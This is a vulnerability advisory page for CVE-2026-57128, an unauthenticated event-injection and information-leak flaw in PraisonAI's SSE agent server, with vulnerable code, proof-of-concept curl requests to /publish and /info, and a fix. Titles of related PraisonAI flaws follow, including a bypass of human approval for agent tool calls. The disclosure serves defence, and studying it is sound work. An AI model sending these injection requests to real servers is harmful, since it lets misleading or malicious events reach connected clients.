CVE-2026-57128: PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint
Summary The SSE (Server-Sent Events) server in src/praisonai-agents/praisonaiagents/server/server.py exposes a /publish endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The ServerConfig dataclass (line 24) defines an authtoken field, but this token is never validated in the /publish or /events request handlers.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
praisonaiagents
- Ecosystem
- PyPI
- Affected
- <= 1.6.48
- Fixed in
- 1.6.59
- Check
pip show praisonaiagents
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SSE (Server-Sent Events) server in src/praisonai-agents/praisonaiagents/server/server.py exposes a /publish endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The ServerConfig dataclass (line 24) defines an auth_token field, but this token is never validated in the /publish or /events request handlers. Any attacker with access to the SSE server port can inject arbitrary events into the SSE stream visible to all connected clients, or use /info to leak server configuration including connected client count.
Details
Vulnerable code (lines 164–180):
async def publish(request):
try:
data = await request.json()
event_type = data.get("type", "message")
event_data = data.get("data", {})
self.broadcast(event_type, event_data)
return JSONResponse({
"success": True,
"clients": len(self._clients),
})The auth_token field in ServerConfig (line 31):
@dataclass
class ServerConfig:
...
auth_token: Optional[str] = NoneThis auth_token is never referenced in any request handler. The /publish endpoint processes any POST request regardless of authentication headers. The /info endpoint (line 182) also has no auth and returns server configuration including self.config.to_dict().
Routes registration (lines 190–194):
routes = [
Route("/health", health, methods=["GET"]),
Route("/events", events, methods=["GET"]),
Route("/publish", publish, methods=["POST"]),
Route("/info", info, methods=["GET"]),
]No authentication middleware or token validation is applied to any route.
PoC
Setup: Start the SSE server (default port 8765). This is the documented server mode for streaming agent events.
Positive trigger — unauthenticated event injection:
# From any network-reachable host:
curl -X POST http://localhost:8765/publish \
-H "Content-Type: application/json" \
-d '{"type": "message", "data": {"text": "INJECTED: arbitrary content sent to all clients"}}'Expected response:
{"success": true, "clients": 3}The response confirms the injection was broadcast to all connected SSE clients, and leaks the number of connected clients.
Positive trigger — info leak:
curl http://localhost:8765/infoExpected response:
{
"name": "PraisonAI Agent Server",
"version": "1.0.0",
"clients": 3,
"config": {
"host": "127.0.0.1",
"port": 8765,
"auth_token": "***",
...
}
}Negative control — if auth were enforced: A request without a valid Authorization: Bearer <token> header should return 401 Unauthorized. Currently, it returns 200 OK with no auth check.
Cleanup: No persistent changes.
Impact
An attacker with access to the SSE server port (default 8765, bound to 127.0.0.1 by default per DEFAULT_HOST at line 21) can:
- Inject arbitrary events into the SSE stream, potentially causing connected client applications to process malicious data, trigger actions, or display misleading content
- Leak server configuration including number of connected clients and server settings via
/info - Use the response to confirm connected client count, enabling reconnaissance
While the default binds to localhost, deployments in containers or cloud environments commonly override the host to 0.0.0.0 to allow external access. When the host is overridden, this is exploitable from the network without authentication.
Suggested remediation
- Validate `auth_token` in the
/publishand/eventshandlers:
async def publish(request):
token = request.headers.get("Authorization", "").replace("Bearer ", "")
if self.config.auth_token and token != self.config.auth_token:
return JSONResponse({"error": "Unauthorized"}, status_code=401)
# ... proceed with broadcast- Apply the same token validation to
/events(for reading) and/info.
- The default binding to
127.0.0.1is appropriate; maintain this default and warn when overridden to0.0.0.0.
- Document the
auth_tokenconfiguration option and recommend setting it in production.
Credited to sondt99.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-60087
PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments
medium6.1Oct 8, 2026CVE-2026-60089
PraisonAI: Project config can auto-save agent output outside the project root
medium6.9Oct 8, 2026CVE-2026-61430
PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure
high8.5Oct 8, 2026CVE-2026-61432
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
medium5.7Oct 8, 2026CVE-2026-61437
PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
high7.8Oct 8, 2026CVE-2026-61443
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
high8.1Oct 8, 2026
